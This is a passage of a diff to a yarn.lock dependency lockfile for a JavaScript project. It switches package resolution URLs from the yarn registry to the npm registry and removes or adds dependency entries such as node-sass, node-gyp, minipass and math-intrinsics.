-   version "7.0.0"
--  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
-+  resolved "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz"
-   integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
- 
--is-plain-obj@^1.1.0:
--  version "1.1.0"
--  resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-1.1.0.tgz#71a50c8429dfca773c92a390a4a03b39fcd51d3e"
--  integrity sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==
--
- is-plain-object@^2.0.3, is-plain-object@^2.0.4:
-   version "2.0.4"
--  resolved "https://registry.yarnpkg.com/is-plain-object/-/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677"
-+  resolved "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz"
-   integrity sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==
-   dependencies:
-     isobject "^3.0.1"
- 
- is-relative@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/is-relative/-/is-relative-1.0.0.tgz#a1bb6935ce8c5dba1e8b9754b9b2dcc020e2260d"
-+  resolved "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz"
-   integrity sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==
-   dependencies:
-     is-unc-path "^1.0.0"
- 
- is-unc-path@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/is-unc-path/-/is-unc-path-1.0.0.tgz#d731e8898ed090a12c352ad2eaed5095ad322c9d"
-+  resolved "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz"
-   integrity sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==
-   dependencies:
-     unc-path-regex "^0.1.2"
- 
- is-windows@^1.0.1:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/is-windows/-/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
-+  resolved "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz"
-   integrity sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==
- 
--isarray@~1.0.0:
--  version "1.0.0"
--  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
--  integrity sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==
--
- isexe@^2.0.0:
-   version "2.0.0"
--  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-+  resolved "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz"
-   integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
- 
- isobject@^3.0.0, isobject@^3.0.1:
-   version "3.0.1"
--  resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-+  resolved "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz"
-   integrity sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==
- 
- jquery-ui@1.14.1:
-   version "1.14.1"
--  resolved "https://registry.yarnpkg.com/jquery-ui/-/jquery-ui-1.14.1.tgz#ba342ea3ffff662b787595391f607d923313e040"
-+  resolved "https://registry.npmjs.org/jquery-ui/-/jquery-ui-1.14.1.tgz"
-   integrity sha512-DhzsYH8VeIvOaxwi+B/2BCsFFT5EGjShdzOcm5DssWjtcpGWIMsn66rJciDA6jBruzNiLf1q0KvwMoX1uGNvnQ==
-   dependencies:
-     jquery ">=1.12.0 <5.0.0"
- 
- jquery@3.7.1, "jquery@>=1.12.0 <5.0.0", "jquery@>=3.4.0 <4.0.0":
-   version "3.7.1"
--  resolved "https://registry.yarnpkg.com/jquery/-/jquery-3.7.1.tgz#083ef98927c9a6a74d05a6af02806566d16274de"
-+  resolved "https://registry.npmjs.org/jquery/-/jquery-3.7.1.tgz"
-   integrity sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==
- 
--js-base64@^2.4.9:
--  version "2.6.4"
--  resolved "https://registry.yarnpkg.com/js-base64/-/js-base64-2.6.4.tgz#f4e686c5de1ea1f867dbcad3d46d969428df98c4"
--  integrity sha512-pZe//GGmwJndub7ZghVHz7vjb2LgC1m8B07Au3eYqeqv9emhESByMXxaEgkUkEqJe87oBbSniGYoQNIBklc7IQ==
--
- js-cookie@2.2:
-   version "2.2.1"
--  resolved "https://registry.yarnpkg.com/js-cookie/-/js-cookie-2.2.1.tgz#69e106dc5d5806894562902aa5baec3744e9b2b8"
-+  resolved "https://registry.npmjs.org/js-cookie/-/js-cookie-2.2.1.tgz"
-   integrity sha512-HvdH2LzI/EAZcUwA8+0nKNtWHqS+ZmijLA30RwZA0bo7ToCckjK5MkGhjED9KoRcXO6BaGI3I9UIzSA1FKFPOQ==
- 
--js-tokens@^4.0.0:
--  version "4.0.0"
--  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
--  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
--
- js-yaml@~3.14.0:
-   version "3.14.1"
--  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
-+  resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz"
-   integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
-   dependencies:
-     argparse "^1.0.7"
-     esprima "^4.0.0"
- 
--jsbn@1.1.0:
--  version "1.1.0"
--  resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-1.1.0.tgz#b01307cb29b618a1ed26ec79e911f803c4da0040"
--  integrity sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==
--
--json-parse-even-better-errors@^2.3.0:
--  version "2.3.1"
--  resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
--  integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==
--
--kind-of@^6.0.2, kind-of@^6.0.3:
-+kind-of@^6.0.2:
-   version "6.0.3"
--  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
-+  resolved "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz"
-   integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
- 
- liftup@~3.0.1:
-   version "3.0.1"
--  resolved "https://registry.yarnpkg.com/liftup/-/liftup-3.0.1.tgz#1cb81aff0f368464ed3a5f1a7286372d6b1a60ce"
-+  resolved "https://registry.npmjs.org/liftup/-/liftup-3.0.1.tgz"
-   integrity sha512-yRHaiQDizWSzoXk3APcA71eOI/UuhEkNN9DiW2Tt44mhYzX4joFoCZlxsSOF7RyeLlfqzFLQI1ngFq3ggMPhOw==
-   dependencies:
-     extend "^3.0.2"
-@@ -1342,19 +987,14 @@ liftup@~3.0.1:
-     rechoir "^0.7.0"
-     resolve "^1.19.0"
- 
--lines-and-columns@^1.1.6:
--  version "1.2.4"
--  resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz#eca284f75d2965079309dc0ad9255abb2ebc1632"
--  integrity sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==
--
- livereload-js@^2.3.0:
-   version "2.4.0"
--  resolved "https://registry.yarnpkg.com/livereload-js/-/livereload-js-2.4.0.tgz#447c31cf1ea9ab52fc20db615c5ddf678f78009c"
-+  resolved "https://registry.npmjs.org/livereload-js/-/livereload-js-2.4.0.tgz"
-   integrity sha512-XPQH8Z2GDP/Hwz2PCDrh2mth4yFejwA1OZ/81Ti3LgKyhDcEjsSsqFWZojHG0va/duGd+WyosY7eXLDoOyqcPw==
- 
- load-grunt-tasks@5.1:
-   version "5.1.0"
--  resolved "https://registry.yarnpkg.com/load-grunt-tasks/-/load-grunt-tasks-5.1.0.tgz#14894c27a7e34ebbef9937c39cc35c573cd04c1c"
-+  resolved "https://registry.npmjs.org/load-grunt-tasks/-/load-grunt-tasks-5.1.0.tgz"
-   integrity sha512-oNj0Jlka1TsfDe+9He0kcA1cRln+TMoTsEByW7ij6kyktNLxBKJtslCFEvFrLC2Dj0S19IWJh3fOCIjLby2Xrg==
-   dependencies:
-     arrify "^2.0.1"
-@@ -1364,105 +1004,37 @@ load-grunt-tasks@5.1:
- 
- locate-path@^3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e"
-+  resolved "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz"
-   integrity sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==
-   dependencies:
-     p-locate "^3.0.0"
-     path-exists "^3.0.0"
- 
--locate-path@^5.0.0:
--  version "5.0.0"
--  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
--  integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==
--  dependencies:
--    p-locate "^4.1.0"
--
--lodash@^4.17.10, lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.21, lodash@~4.17.19, lodash@~4.17.21:
-+lodash@^4.17.10, lodash@^4.17.14, lodash@^4.17.21, lodash@~4.17.19, lodash@~4.17.21:
-   version "4.17.21"
--  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
-+  resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
-   integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
- 
--lru-cache@^6.0.0:
--  version "6.0.0"
--  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94"
--  integrity sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==
--  dependencies:
--    yallist "^4.0.0"
--
--lru-cache@^7.7.1:
--  version "7.18.3"
--  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-7.18.3.tgz#f793896e0fd0e954a59dfdd82f0773808df6aa89"
--  integrity sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==
--
--make-fetch-happen@^10.0.4:
--  version "10.2.1"
--  resolved "https://registry.yarnpkg.com/make-fetch-happen/-/make-fetch-happen-10.2.1.tgz#f5e3835c5e9817b617f2770870d9492d28678164"
--  integrity sha512-NgOPbRiaQM10DYXvN3/hhGVI2M5MtITFryzBGxHM5p4wnFxsVCbxkrBrDsk+EZ5OB4jEOT7AjDxtdF+KVEFT7w==
--  dependencies:
--    agentkeepalive "^4.2.1"
--    cacache "^16.1.0"
--    http-cache-semantics "^4.1.0"
--    http-proxy-agent "^5.0.0"
--    https-proxy-agent "^5.0.0"
--    is-lambda "^1.0.1"
--    lru-cache "^7.7.1"
--    minipass "^3.1.6"
--    minipass-collect "^1.0.2"
--    minipass-fetch "^2.0.3"
--    minipass-flush "^1.0.5"
--    minipass-pipeline "^1.2.4"
--    negotiator "^0.6.3"
--    promise-retry "^2.0.1"
--    socks-proxy-agent "^7.0.0"
--    ssri "^9.0.0"
--
--make-fetch-happen@^9.1.0:
--  version "9.1.0"
--  resolved "https://registry.yarnpkg.com/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz#53085a09e7971433e6765f7971bf63f4e05cb968"
--  integrity sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==
--  dependencies:
--    agentkeepalive "^4.1.3"
--    cacache "^15.2.0"
--    http-cache-semantics "^4.1.0"
--    http-proxy-agent "^4.0.1"
--    https-proxy-agent "^5.0.0"
--    is-lambda "^1.0.1"
--    lru-cache "^6.0.0"
--    minipass "^3.1.3"
--    minipass-collect "^1.0.2"
--    minipass-fetch "^1.3.2"
--    minipass-flush "^1.0.5"
--    minipass-pipeline "^1.2.4"
--    negotiator "^0.6.2"
--    promise-retry "^2.0.1"
--    socks-proxy-agent "^6.0.0"
--    ssri "^8.0.0"
--
- make-iterator@^1.0.0:
-   version "1.0.1"
--  resolved "https://registry.yarnpkg.com/make-iterator/-/make-iterator-1.0.1.tgz#29b33f312aa8f547c4a5e490f56afcec99133ad6"
-+  resolved "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz"
-   integrity sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==
-   dependencies:
-     kind-of "^6.0.2"
- 
- map-cache@^0.2.0:
-   version "0.2.2"
--  resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-+  resolved "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz"
-   integrity sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==
- 
--map-obj@^1.0.0:
--  version "1.0.1"
--  resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-1.0.1.tgz#d933ceb9205d82bdcf4886f6742bdc2b4dea146d"
--  integrity sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==
--
--map-obj@^4.0.0:
--  version "4.3.0"
--  resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-4.3.0.tgz#9304f906e93faae70880da102a9f1df0ea8bb05a"
--  integrity sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==
-+math-intrinsics@^1.1.0:
-+  version "1.1.0"
-+  resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
-+  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
- 
- maxmin@^3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/maxmin/-/maxmin-3.0.0.tgz#3ee9acc8a2b9f2b5416e94f5705319df8a9c71e6"
-+  resolved "https://registry.npmjs.org/maxmin/-/maxmin-3.0.0.tgz"
-   integrity sha512-wcahMInmGtg/7c6a75fr21Ch/Ks1Tb+Jtoan5Ft4bAI0ZvJqyOw8kkM7e7p8hDSzY805vmxwHT50KcjGwKyJ0g==
-   dependencies:
-     chalk "^4.1.0"
-@@ -1470,25 +1042,7 @@ maxmin@^3.0.0:
-     gzip-size "^5.1.1"
-     pretty-bytes "^5.3.0"
- 
--meow@^9.0.0:
--  version "9.0.0"
--  resolved "https://registry.yarnpkg.com/meow/-/meow-9.0.0.tgz#cd9510bc5cac9dee7d03c73ee1f9ad959f4ea364"
--  integrity sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==
--  dependencies:
--    "@types/minimist" "^1.2.0"
--    camelcase-keys "^6.2.2"
--    decamelize "^1.2.0"
--    decamelize-keys "^1.1.0"
--    hard-rejection "^2.1.0"
--    minimist-options "4.1.0"
--    normalize-package-data "^3.0.0"
--    read-pkg-up "^7.0.1"
--    redent "^3.0.0"
--    trim-newlines "^3.0.0"
--    type-fest "^0.18.0"
--    yargs-parser "^20.2.3"
--
--micromatch@^4.0.2, micromatch@^4.0.4:
-+micromatch@^4.0.2, micromatch@^4.0.4, micromatch@^4.0.5:
-   version "4.0.8"
-   resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.8.tgz#d66fa18f3a47076789320b9b1af32bd86d9fa202"
-   integrity sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==
-@@ -1496,124 +1050,28 @@ micromatch@^4.0.2, micromatch@^4.0.4:
-     braces "^3.0.3"
-     picomatch "^2.3.1"
- 
--min-indent@^1.0.0:
--  version "1.0.1"
--  resolved "https://registry.yarnpkg.com/min-indent/-/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869"
--  integrity sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==
--
- minimatch@^3.0.4, minimatch@^3.1.1:
-   version "3.1.2"
--  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
-+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz"
-   integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
-   dependencies:
-     brace-expansion "^1.1.7"
- 
--minimatch@^5.0.1:
--  version "5.1.6"
--  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.1.6.tgz#1cfcb8cf5522ea69952cd2af95ae09477f122a96"
--  integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==
--  dependencies:
--    brace-expansion "^2.0.1"
--
- minimatch@~3.0.2, minimatch@~3.0.4:
-   version "3.0.8"
--  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.8.tgz#5e6a59bd11e2ab0de1cfb843eb2d82e546c321c1"
-+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz"
-   integrity sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==
-   dependencies:
-     brace-expansion "^1.1.7"
- 
--minimist-options@4.1.0:
--  version "4.1.0"
--  resolved "https://registry.yarnpkg.com/minimist-options/-/minimist-options-4.1.0.tgz#c0655713c53a8a2ebd77ffa247d342c40f010619"
--  integrity sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==
--  dependencies:
--    arrify "^1.0.1"
--    is-plain-obj "^1.1.0"
--    kind-of "^6.0.3"
--
--minipass-collect@^1.0.2:
--  version "1.0.2"
--  resolved "https://registry.yarnpkg.com/minipass-collect/-/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617"
--  integrity sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==
--  dependencies:
--    minipass "^3.0.0"
--
--minipass-fetch@^1.3.2:
--  version "1.4.1"
--  resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-1.4.1.tgz#d75e0091daac1b0ffd7e9d41629faff7d0c1f1b6"
--  integrity sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==
--  dependencies:
--    minipass "^3.1.0"
--    minipass-sized "^1.0.3"
--    minizlib "^2.0.0"
--  optionalDependencies:
--    encoding "^0.1.12"
--
--minipass-fetch@^2.0.3:
--  version "2.1.2"
--  resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-2.1.2.tgz#95560b50c472d81a3bc76f20ede80eaed76d8add"
--  integrity sha512-LT49Zi2/WMROHYoqGgdlQIZh8mLPZmOrN2NdJjMXxYe4nkN6FUyuPuOAOedNJDrx0IRGg9+4guZewtp8hE6TxA==
--  dependencies:
--    minipass "^3.1.6"
--    minipass-sized "^1.0.3"
--    minizlib "^2.1.2"
--  optionalDependencies:
--    encoding "^0.1.13"
--
--minipass-flush@^1.0.5:
--  version "1.0.5"
--  resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373"
--  integrity sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==
--  dependencies:
--    minipass "^3.0.0"
--
--minipass-pipeline@^1.2.2, minipass-pipeline@^1.2.4:
--  version "1.2.4"
--  resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c"
--  integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==
--  dependencies:
--    minipass "^3.0.0"
--
--minipass-sized@^1.0.3:
--  version "1.0.3"
--  resolved "https://registry.yarnpkg.com/minipass-sized/-/minipass-sized-1.0.3.tgz#70ee5a7c5052070afacfbc22977ea79def353b70"
--  integrity sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==
--  dependencies:
--    minipass "^3.0.0"
--
--minipass@^3.0.0, minipass@^3.1.0, minipass@^3.1.1, minipass@^3.1.3, minipass@^3.1.6:
--  version "3.3.6"
--  resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.3.6.tgz#7bba384db3a1520d18c9c0e5251c3444e95dd94a"
--  integrity sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==
--  dependencies:
--    yallist "^4.0.0"
--
--minipass@^5.0.0:
--  version "5.0.0"
--  resolved "https://registry.yarnpkg.com/minipass/-/minipass-5.0.0.tgz#3e9788ffb90b694a5d0ec94479a45b5d8738133d"
--  integrity sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==
--
--minizlib@^2.0.0, minizlib@^2.1.1, minizlib@^2.1.2:
--  version "2.1.2"
--  resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931"
--  integrity sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==
--  dependencies:
--    minipass "^3.0.0"
--    yallist "^4.0.0"
--
--mkdirp@^1.0.3, mkdirp@^1.0.4:
--  version "1.0.4"
--  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
--  integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
--
--ms@^2.0.0, ms@^2.1.1, ms@^2.1.3:
-+ms@^2.1.1:
-   version "2.1.3"
--  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
-+  resolved "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz"
-   integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
- 
- multimatch@^4.0.0:
-   version "4.0.0"
--  resolved "https://registry.yarnpkg.com/multimatch/-/multimatch-4.0.0.tgz#8c3c0f6e3e8449ada0af3dd29efb491a375191b3"
-+  resolved "https://registry.npmjs.org/multimatch/-/multimatch-4.0.0.tgz"
-   integrity sha512-lDmx79y1z6i7RNx0ZGCPq1bzJ6ZoDDKbvh7jxr9SJcWLkShMzXrHbYVpTdnhNM5MXpDUxCQ4DgqVttVXlBgiBQ==
-   dependencies:
-     "@types/minimatch" "^3.0.3"
-@@ -1622,137 +1080,59 @@ multimatch@^4.0.0:
-     arrify "^2.0.1"
-     minimatch "^3.0.4"
- 
--nan@^2.17.0:
--  version "2.22.0"
--  resolved "https://registry.yarnpkg.com/nan/-/nan-2.22.0.tgz#31bc433fc33213c97bad36404bb68063de604de3"
--  integrity sha512-nbajikzWTMwsW+eSsNm3QwlOs7het9gGJU5dDZzRTQGk03vyBOauxgI4VakDzE0PtsGTmXPsXTbbjVhRwR5mpw==
--
- nanoid@^3.3.7:
--  version "3.3.8"
--  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.8.tgz#b1be3030bee36aaff18bacb375e5cce521684baf"
--  integrity sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==
--
--negotiator@^0.6.2, negotiator@^0.6.3:
--  version "0.6.4"
--  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.4.tgz#777948e2452651c570b712dd01c23e262713fff7"
--  integrity sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==
--
--node-gyp@^8.4.1:
--  version "8.4.1"
--  resolved "https://registry.yarnpkg.com/node-gyp/-/node-gyp-8.4.1.tgz#3d49308fc31f768180957d6b5746845fbd429937"
--  integrity sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==
--  dependencies:
--    env-paths "^2.2.0"
--    glob "^7.1.4"
--    graceful-fs "^4.2.6"
--    make-fetch-happen "^9.1.0"
--    nopt "^5.0.0"
--    npmlog "^6.0.0"
--    rimraf "^3.0.2"
--    semver "^7.3.5"
--    tar "^6.1.2"
--    which "^2.0.2"
--
--node-releases@^2.0.18:
--  version "2.0.18"
--  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.18.tgz#f010e8d35e2fe8d6b2944f03f70213ecedc4ca3f"
--  integrity sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==
--
--node-sass@9.0:
--  version "9.0.0"
--  resolved "https://registry.yarnpkg.com/node-sass/-/node-sass-9.0.0.tgz#c21cd17bd9379c2d09362b3baf2cbf089bce08ed"
